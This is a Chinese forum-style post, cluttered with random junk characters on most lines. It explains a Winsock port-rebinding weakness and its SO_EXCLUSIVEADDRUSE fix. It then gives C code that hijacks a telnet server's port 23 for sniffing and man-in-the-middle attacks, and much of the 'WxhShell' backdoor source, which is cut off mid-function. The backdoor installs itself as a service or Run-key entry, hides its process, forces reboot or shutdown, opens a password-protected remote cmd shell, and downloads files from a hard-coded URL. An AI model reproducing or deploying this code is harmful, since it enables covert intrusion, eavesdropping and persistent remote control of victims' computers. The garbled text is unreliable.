在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WL5!H.q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6sp?'GO`~ dsJHhsu6 saddr.sin_family = AF_INET;
{BKr/) H cYMlcwS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
S[W|=(f9 HQl_/:Wx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+A,t9 3:k 9K
F`9Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
d>qxaX; ^ 04|tda 这意味着什么?意味着可以进行如下的攻击:
,ZLg= Pkw` o # 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7T3ub3\ ~
-hH#5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|%~sU,Y\(
x=(cQmQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?5L.]Isa5 8L7ZWw
d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)gR !G]Y W+0VrH
0F 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Dj9).lgc \kGi5G] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*!*J5/b s~(iB{- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
*.DTcV yS[Z%]bvU #include
LGm>x #include
d?/?VooU #include
8f<[Bu ze #include
uE6;;Ir#mF DWORD WINAPI ClientThread(LPVOID lpParam);
WurpHOJt+ int main()
~D)!zQkD {
$3Ct@}=n WORD wVersionRequested;
I(dMiL DWORD ret;
bNG;`VZ% WSADATA wsaData;
~agzp`!M BOOL val;
^{T3lQvt SOCKADDR_IN saddr;
)c#m<_^
SOCKADDR_IN scaddr;
]jz%])SzH int err;
tzhkdG SOCKET s;
=U5lPsiv,3 SOCKET sc;
8@|rB3J int caddsize;
0}UJP HANDLE mt;
lnFOD+y9 DWORD tid;
0pS|t/h0 wVersionRequested = MAKEWORD( 2, 2 );
I9`R LSn err = WSAStartup( wVersionRequested, &wsaData );
MhNDf[W> if ( err != 0 ) {
l*|^mx^Q printf("error!WSAStartup failed!\n");
o[bG(qHZ return -1;
D %`64R }
6N&S3<c4JO saddr.sin_family = AF_INET;
Ab<4F7 AT:T%a:G? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.3%eSbt0 :Gh*
d) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
rdsm
/^,s saddr.sin_port = htons(23);
uw@z1'D[i" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n2Oi< ) {
HN\Zrb printf("error!socket failed!\n");
H V`{YuP return -1;
FKd5]am }
L)'JkX J val = TRUE;
u:pdY'`"# //SO_REUSEADDR选项就是可以实现端口重绑定的
" -4V48ci if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
66?!"w {
mAFqA printf("error!setsockopt failed!\n");
l[O!_bH return -1;
2roPZj }
x+vNA J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qwu++9BM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^A^,/3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`~hAXnQK= 8x
jJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
BYEqTwhT& {
w0Fi~:b ret=GetLastError();
N5rY*S printf("error!bind failed!\n");
C+Wb_ return -1;
ei;wT }
t@1e9uR listen(s,2);
`e0U-W]kF while(1)
~4[2{M.0>@ {
jMUE&/k caddsize = sizeof(scaddr);
PNXZ 3:W //接受连接请求
hi>Ii2T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5nr}5bum if(sc!=INVALID_SOCKET)
pvTV* {
$=$I^hV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
YWeEvo(,= if(mt==NULL)
EA2BN} {
-9/YS printf("Thread Creat Failed!\n");
Q;{yIa$ $ break;
t'4hWNR'
}
]DdD
FLM }
3O<<XXar CloseHandle(mt);
#$%9XD3 }
*Xt#04_ closesocket(s);
+DM+@F WSACleanup();
C/e`O|G return 0;
m^h"VH,
}
zzuDI_,/ DWORD WINAPI ClientThread(LPVOID lpParam)
US'X9=b_ {
SY["(vP%# SOCKET ss = (SOCKET)lpParam;
Z?[;Japg SOCKET sc;
8[,,Kr)- unsigned char buf[4096];
h$~ NPX SOCKADDR_IN saddr;
ExI?UGT long num;
TclZdk]%T DWORD val;
p*W4^2(d DWORD ret;
Gu~y/CE' //如果是隐藏端口应用的话,可以在此处加一些判断
B+ GPTQSTb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~.AUy%$_g+ saddr.sin_family = AF_INET;
x 3#1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
tQ'E"u1 saddr.sin_port = htons(23);
A2Rr*e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q <^'v>~n {
B[C2uVEX: printf("error!socket failed!\n");
aC X](sN return -1;
w48T? }
Mc~(S$FU$ val = 100;
nWbe=z&y8[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,y,NVF {
KI-E=<zt ret = GetLastError();
l:8gCi return -1;
jr*A1y* }
=iRc& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
f_9%kEXICt {
%D\TLY ret = GetLastError();
`9s5 *;Z return -1;
_,NL;66=[ }
9X@y*;w<t if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Bb]pUb {
D^04b<O<x printf("error!socket connect failed!\n");
z++*,2F closesocket(sc);
-}MWA>an8 closesocket(ss);
~ra2Xyl return -1;
xI<Dc*G }
JnmJN1@I while(1)
E4HG`_cWb {
_V1O =iu- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vy[*xT] //如果是嗅探内容的话,可以再此处进行内容分析和记录
/o.wCy,J< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"\vEi
&C num = recv(ss,buf,4096,0);
.O3i"X] if(num>0)
g>_6O[;t% send(sc,buf,num,0);
`T{{wty else if(num==0)
;q6:*H/ break;
%TPnC'2 num = recv(sc,buf,4096,0);
=KmjCz: if(num>0)
\Z
] <L send(ss,buf,num,0);
9&g//JlD else if(num==0)
>9Fs)R]P break;
&tj0Z: }
uwyzxj closesocket(ss);
vy,ER< closesocket(sc);
m%+W{N4Wb return 0 ;
{e<J}-/? }
AGx]srl eq<xO28z Nw+0b4{ ==========================================================
pez[qs %?<C
?. 下边附上一个代码,,WXhSHELL
7;5?2)+=6 ]ch cRc[! ==========================================================
ES;7_ .q @rRBo:0% #include "stdafx.h"
>O&(G0!N+} ^Gq4Yr #include <stdio.h>
!qV{OXdrB #include <string.h>
=IkQ;L& #include <windows.h>
;'`T #include <winsock2.h>
[`Ol&R4k #include <winsvc.h>
W% YJ.%I #include <urlmon.h>
zQ(li9 AZ(["kh[ #pragma comment (lib, "Ws2_32.lib")
|<\o%89AM #pragma comment (lib, "urlmon.lib")
7Z0
)k9* ~Hd{+0 #define MAX_USER 100 // 最大客户端连接数
k v,'9z #define BUF_SOCK 200 // sock buffer
>5%
o9$|z #define KEY_BUFF 255 // 输入 buffer
e-ljwCD ua/A &XQx #define REBOOT 0 // 重启
ecA:y!N #define SHUTDOWN 1 // 关机
g:dw%h "w*VyD #define DEF_PORT 5000 // 监听端口
z\pT nteO U? [a@Hj{ #define REG_LEN 16 // 注册表键长度
}W#Gf.$6C #define SVC_LEN 80 // NT服务名长度
kUUN2 E
b-?wzh // 从dll定义API
R61.!ql%w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<K=:_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7m~+HM\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
beRpA; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vDV`!JU
}N]|zCEj // wxhshell配置信息
R3TdQ6j struct WSCFG {
7Y&W^]UZ0t int ws_port; // 监听端口
r,(rWptf4 char ws_passstr[REG_LEN]; // 口令
$iUK,
? int ws_autoins; // 安装标记, 1=yes 0=no
Y#V`i K char ws_regname[REG_LEN]; // 注册表键名
WogJ~N,d53 char ws_svcname[REG_LEN]; // 服务名
VE+Q Y9( char ws_svcdisp[SVC_LEN]; // 服务显示名
X~*1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
u>
XCE|D* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+7U$qEG int ws_downexe; // 下载执行标记, 1=yes 0=no
Yz us= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
?[hIv6c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+;c)GNQ)6: KS!mzq- };
w=
|).qQ] -%E+Yl{v // default Wxhshell configuration
;vR0O struct WSCFG wscfg={DEF_PORT,
%"r3{Hs "xuhuanlingzhe",
kl4FVZof 1,
c~3OK_k "Wxhshell",
12U1DEd>- "Wxhshell",
*IG} /O.VT "WxhShell Service",
U$Z)v1&{ "Wrsky Windows CmdShell Service",
y2;uG2IS_g "Please Input Your Password: ",
+)k%jIi! 1,
=e=sK'NvD "
http://www.wrsky.com/wxhshell.exe",
3.Z}2F] "Wxhshell.exe"
|k1(|)%G };
#!wu}nDu VI:
!# // 消息定义模块
:V*c9,>ZO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.|^L\L(! char *msg_ws_prompt="\n\r? for help\n\r#>";
1v)ur\>R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[`Seh $ char *msg_ws_ext="\n\rExit.";
M>nplHq
char *msg_ws_end="\n\rQuit.";
tGDsZ;3Yr char *msg_ws_boot="\n\rReboot...";
LG0+A}E=C char *msg_ws_poff="\n\rShutdown...";
a'u:1C^\ char *msg_ws_down="\n\rSave to ";
C ?JcCD2 XZde}zUWn char *msg_ws_err="\n\rErr!";
piIj
t char *msg_ws_ok="\n\rOK!";
VRQ'sn@ ad+@2-Y char ExeFile[MAX_PATH];
Y>
ElE- int nUser = 0;
o9&1Ct HANDLE handles[MAX_USER];
hC2 @Gq int OsIsNt;
! eXDN LlOUK2tZ SERVICE_STATUS serviceStatus;
UfIH!6Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
D@A@5pvS 70hm9b-
// 函数声明
VN6h:-&iY int Install(void);
0aj4.H*% int Uninstall(void);
gg
$/ int DownloadFile(char *sURL, SOCKET wsh);
@'>h P int Boot(int flag);
^h
#0e:7< void HideProc(void);
7%DA0.g int GetOsVer(void);
"I+71Ce int Wxhshell(SOCKET wsl);
}TE4)vXs void TalkWithClient(void *cs);
7vO3+lT/Y; int CmdShell(SOCKET sock);
S bI7<_ int StartFromService(void);
E>>@X^ = int StartWxhshell(LPSTR lpCmdLine);
LgFF+z M9so3L<N0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$fZVh% VOID WINAPI NTServiceHandler( DWORD fdwControl );
w6FtDl$ _=l8e-6r // 数据结构和表定义
ZyAm:yO SERVICE_TABLE_ENTRY DispatchTable[] =
_voU^- {
sg0HYb%_E {wscfg.ws_svcname, NTServiceMain},
W
Cz+ {NULL, NULL}
r0jhIE# };
|hGi8 bDK%vx!_ // 自我安装
Y6<"_ int Install(void)
^}Vx5[ {
VaKBS/y" char svExeFile[MAX_PATH];
~Psv[b=] HKEY key;
uRIa
Nwohv strcpy(svExeFile,ExeFile);
!<'0
GOl Qn0 1ig
// 如果是win9x系统,修改注册表设为自启动
(rF XzCI if(!OsIsNt) {
`wrN$& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+2Xq+P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wP-BaB$_ RegCloseKey(key);
Y243mq- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L{)*evBL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]rAaErB'; RegCloseKey(key);
N-C=O return 0;
lHl1Ny\? }
XQW9/AzN f }
Mzfuthq=@ }
Q--Hf$D]H else {
iH&BhbRu_ b@9>1d$ // 如果是NT以上系统,安装为系统服务
%N.qu_,IZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-%I 0Q if (schSCManager!=0)
Dx:2/"v {
N5]}m:"pk SC_HANDLE schService = CreateService
'UW]~ (
g+ZQ6Hz schSCManager,
4\Nt"#U)g wscfg.ws_svcname,
h4N%(?7 wscfg.ws_svcdisp,
Pgdv)i3 SERVICE_ALL_ACCESS,
P/9iB/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
$)(K7> P SERVICE_AUTO_START,
ItLP&S= SERVICE_ERROR_NORMAL,
LA\)B"{J svExeFile,
.LQvjK[N NULL,
-h n~-Sy+ NULL,
P%%[_6<%M NULL,
>n!,KUu] NULL,
|~V`Es +j NULL
gJkvH[hDY );
ICbT{Mla if (schService!=0)
6<%W8m\ {
+xGz~~iNh CloseServiceHandle(schService);
N7}Y\1-8 CloseServiceHandle(schSCManager);
$d[ -feU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/d/Quro strcat(svExeFile,wscfg.ws_svcname);
9gS.G2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
fa=OeuI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
h~F`[G/' RegCloseKey(key);
;Xzay| return 0;
<kY|| }
^Ko{#qbl/ }
*CnrzrKtQ CloseServiceHandle(schSCManager);
4t Z. T9d }
q%^vx%aL\ }
qrq9NPf Ku
W$ return 1;
vU|.Gw }
NbDfD3
1GK #"Wh$x% // 自我卸载
Nvef+L,v int Uninstall(void)
y
8./)W&/ {
Ob|[/NN HKEY key;
OP-%t\sj> ;~Em,M"o if(!OsIsNt) {
REmD*gf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<;?&<qMo,P RegDeleteValue(key,wscfg.ws_regname);
c=-2c&=& RegCloseKey(key);
UpA{$@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JMT?+/Q bu RegDeleteValue(key,wscfg.ws_regname);
i N}BMd.U RegCloseKey(key);
#=MQE return 0;
4cO||OsMU }
j&S8x|5 }
jgr2qSUC }
)~](qLSl else {
,yC-QFQE h)M9Oup` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xYMNyj~ if (schSCManager!=0)
B) 81mcy {
0shNwV1zF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
; md{T' if (schService!=0)
OGy/8B2c {
l;e&p${P if(DeleteService(schService)!=0) {
V zx%N. CloseServiceHandle(schService);
]c8$% CloseServiceHandle(schSCManager);
1m/=MET] return 0;
*5i~N} }
==psPyLF@ CloseServiceHandle(schService);
C/P,W>8 }
y\
nR0m CloseServiceHandle(schSCManager);
_+,2b:D: }
zS:89y< }
tVhY=X{N? ksxacRA7\ return 1;
f77uqv(Y }
lQ%]](a6 ?=<vC // 从指定url下载文件
YbC6&_ int DownloadFile(char *sURL, SOCKET wsh)
?lxI&
h {
s z.(_{5! HRESULT hr;
xDBEs* char seps[]= "/";
~Exd_c9 char *token;
'JEZ;9} char *file;
=+{.I,g}g@ char myURL[MAX_PATH];
b`n+[UCPtn char myFILE[MAX_PATH];
0EM`,?i .Q ^zGgvFf> strcpy(myURL,sURL);
r^P}xGGK token=strtok(myURL,seps);
L%a ni}V while(token!=NULL)
I}Z[F,}*J {
vi6EI
wZG file=token;
oll~|J^sg token=strtok(NULL,seps);
^Y'J0v2 }
"bf8[D E=QL4*?
GetCurrentDirectory(MAX_PATH,myFILE);
E 3I'3 strcat(myFILE, "\\");
)&dhE^
O strcat(myFILE, file);
=l7LEkR send(wsh,myFILE,strlen(myFILE),0);
wkJB5i^<w send(wsh,"...",3,0);
M\v4{\2l0
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
-|)[s[T~m if(hr==S_OK)
iBo-ANnK9 return 0;
@{CpC else
U1q$B32 return 1;
=]zPUzr,| s}z,{Y$-t }
M9&tys[ KX +'n1?^U // 系统电源模块
]#:xl}'LS int Boot(int flag)
\clWrK {
epG;=\f}m` HANDLE hToken;
2~`dV_ TOKEN_PRIVILEGES tkp;
$`=?Nb@@# ZDDwh&h if(OsIsNt) {
2(c#m*Q!b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\!^o<$s.G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F
Qk; tkp.PrivilegeCount = 1;
a<o0B{7{BM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
jU#%@d6!# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
dY|jV}%T if(flag==REBOOT) {
8/F2V?iT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
nWl0R= return 0;
U)PumU+z$u }
6h,'#|:d else {
3PEs$m9e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z0:BXtW return 0;
\bsm#vY, }
.F6#s }
h/k`+ else {
n^%u9H if(flag==REBOOT) {
<|_Ey)1
6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
l
)4OV> return 0;
'oEmbk8Hg }
oaK~:' else {
;'Q{ ywr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
GGuLxc?( return 0;
pqr"x2=. }
zKutx6=aj }
+vnaEy 2uHp %fv; return 1;
pZjFpd| }
\[&]kPcDl ] QEw\4M?= // win9x进程隐藏模块
'YeJGzsJp void HideProc(void)
`otQ'e~+t {
5 9vGLN!L pi{ahuI#_o HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
FdqUv%(Em if ( hKernel != NULL )
%Fv)$ :b {
E$wB bm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
O?!"15 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0>`69&;g| FreeLibrary(hKernel);
0d2%CsMS"D }
meWAm?8RI 1}pR')YL[ return;
=jN]ckn }
]*|K8&jxl 8f.La // 获取操作系统版本
E(8g(?4 int GetOsVer(void)
Xwi&uyvU& {
UPYM~c+} OSVERSIONINFO winfo;
}0(
Na winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!iw
'tHhR GetVersionEx(&winfo);
SXEiyy[7v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E'G>'cW;x return 1;
+*V;
f, else
qAS^5|(b[ return 0;
wO#+8js }
l_c?q"X tp<V OUa // 客户端句柄模块
l+6(|"md int Wxhshell(SOCKET wsl)
ShpnFuH {
"}! rM6 h SOCKET wsh;
8; 8}Oq struct sockaddr_in client;
/Hmo!"W` DWORD myID;
T8-$[
2 nQ\k{%Q while(nUser<MAX_USER)
8GldVn.u {
"> 3@<f> int nSize=sizeof(client);
+0Gep}&z. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Kcl$|T if(wsh==INVALID_SOCKET) return 1;
YW<2:1A| ]B4mm__ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sd53 _sV if(handles[nUser]==0)
sFK<:ka closesocket(wsh);
Q\L5ZJ%y/ else
ozLJ#eOE9 nUser++;
F/sBr7I }
Oq6n.:8g" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
NrcCUZ .:N \aIy68rH, return 0;
<q\)
o_tH }
L?x?+HPY. G:`Jrh // 关闭 socket
070IBAk}_ void CloseIt(SOCKET wsh)
GDp p`'\ {
!T#y r) closesocket(wsh);
I!gj; a?R nUser--;
PU5mz.&0' ExitThread(0);
|+-i'N9 }
RWCS
u$ &pjV4m|j< // 客户端请求句柄
Z4ioXl void TalkWithClient(void *cs)
aG_ON0g {
@BUqQ9q: *`Xx _ SOCKET wsh=(SOCKET)cs;
JyC&L6[]Z char pwd[SVC_LEN];
d~-p;i char cmd[KEY_BUFF];
JZ/O0PW char chr[1];
8G&+ int i,j;
Wx$q:$h@q {$YD-bqY while (nUser < MAX_USER) {
s}9tK(4v :gscW&k if(wscfg.ws_passstr) {
_G #"B{7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2BX GVo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9,f<Nb(\ //ZeroMemory(pwd,KEY_BUFF);
@[tV_Z%,b i=0;
7'i#!5 while(i<SVC_LEN) {
cO+Xzd;838 9<h]OXv // 设置超时
?%/u/*9rj fd_set FdRead;
$?J+dB struct timeval TimeOut;
)9L pX FD_ZERO(&FdRead);
I9un FD_SET(wsh,&FdRead);
%M#?cmt TimeOut.tv_sec=8;
[~c'|E8Q TimeOut.tv_usec=0;
"lz[zFnO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M'zS7=F!: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]]=fA 4( 7X{bB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
BCUt`;q ]B pwd
=chr[0]; TT2cOw
if(chr[0]==0xd || chr[0]==0xa) { \!JS7!+
pwd=0; r<X 4ER
break; M?xpwqu\
} yvd
`nV
i++; h!G^dW.
} mPfUJ#rS
/$9
:L
// 如果是非法用户,关闭 socket qwF*(pTHq
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {!}F
:~*r
} 7AO3-;
l]
xshArJ&A
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )nNCB=YF!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UiR,^/8ED
inPE/Ux
while(1) { (7;J"2M
Xqg.kX
ZeroMemory(cmd,KEY_BUFF); Ni!;-,H+E
cK[R1 ReH
// 自动支持客户端 telnet标准 &IRA=nJ
j=0; NFY|^*bll
while(j<KEY_BUFF) { cophAP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ESD<8OR
cmd[j]=chr[0]; @P_C%}(<
if(chr[0]==0xa || chr[0]==0xd) { ?""\
cmd[j]=0; F?b'L
JS
break; M|UxE/
} ~v2V`lxh
j++; (Ffb&GL
} ~V2ajM1Z&O
5S%C~iB
// 下载文件 >f\zCT%cf
if(strstr(cmd,"http://")) { .!JMPf"QEI
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (0E U3w?]
if(DownloadFile(cmd,wsh)) xH<'GB)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xvtqi,R
else dD/t_ {h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nush`?]J"_
} >`7OcjLg
else { (R_CUH
rDVgk6
switch(cmd[0]) { V@vhj R4r\
;>9OgO
// 帮助 b fp,zs
case '?': { ?k{|Lk
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jg[5UTkcs
break; Gn]d;5P=
} QXdaMc+Ck
// 安装 "r8EC
case 'i': { `Kh]x9Z
if(Install()) 3->,So0Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "hWJ3pi{o{
else r4E`'o[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BwC<rOU
break; bH*@,EE
} i{8]'fM
// 卸载 ql^g~b
case 'r': { np\st7&f6
if(Uninstall()) R'zu"I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H+a~o=/cR
else &vCeLh:s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]/Vh{d|I&
break; - %|P
} 7Rnm%8?T
// 显示 wxhshell 所在路径 8O6_iGTBh
case 'p': { M;*$gV<x
char svExeFile[MAX_PATH]; Va7c#P?
strcpy(svExeFile,"\n\r"); z!$gVWG
strcat(svExeFile,ExeFile); {LP
b))
send(wsh,svExeFile,strlen(svExeFile),0); +'|{1gB
break; RlrZxmPV>O
} QC{u|
// 重启 1?(cmXj
case 'b': { 4QE=f(u;h
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /HkFlfPd
if(Boot(REBOOT)) Pp+~Cir
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iU5P$7.p
else { +{.780|
closesocket(wsh); jv =EheD
ExitThread(0); (S|a 9#
} 9~c~E/4!
break; GW3>&j_!d
} rfs (#
// 关机 /Pvk),ca
case 'd': { k#C
f})
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q".g.k
if(Boot(SHUTDOWN)) KlN/\N\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^iUx,,ZQ
else { -#.< 12M
closesocket(wsh); 2no$+4+z
ExitThread(0); E9+ HS
} W;zpt|kAH
break; NvJV</l6A
} *%!M4&
// 获取shell u7s"0f`
case 's': { +-BwQ{92[:
CmdShell(wsh); f+x;:
closesocket(wsh); CqFeF?xd8h
ExitThread(0); +q{[\#t5
break; xJc$NV-JzK
} JoZ(_Jh%m
// 退出 V.6)0fKZW
case 'x': { ;3"@g]e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6L9,'Bg
CloseIt(wsh); z.oU4c
break; *L4`$@l8
} NZ0O,}m
// 离开 Q~{H@D`<
case 'q': { P{Lf5V9# <
send(wsh,msg_ws_end,strlen(msg_ws_end),0); &;&ho+qD
closesocket(wsh); R?o$Y6}5
WSACleanup(); Z?5V4F:f
exit(1); S!v(+|
break; -G7TEq)
} 7*5Z
} {X(:jAy
} G` XC
~\LCvcY"X
// 提示信息 \R36w^c3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jRSUp
E8
} ="wzq+ U
} i.D3'l
uN([*'0Cg
return; D=m'pL/pl
} FKNMtp[`
2'EUy@0
// shell模块句柄 jB{4\)
int CmdShell(SOCKET sock) ?=m?jNa;nC
{ mGp.3 {j
STARTUPINFO si; %LVm3e9
ZeroMemory(&si,sizeof(si)); ho##Z*O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .ZvM ^GJb
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ![]``g2
PROCESS_INFORMATION ProcessInfo; QUU;g 2k
char cmdline[]="cmd"; 1N7Kv4,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =jB08A
return 0; sl]_M
} fFb_J`'ue
KMI_zhyB
// 自身启动模式
d
,4]VE
int StartFromService(void) Ecd;<$tk
{ oD<kMK
typedef struct ZovW0Q)m
{ At-U2a#J{
DWORD ExitStatus; 'nXl>
DWORD PebBaseAddress; C:PMewn
DWORD AffinityMask; U2bjFLd"
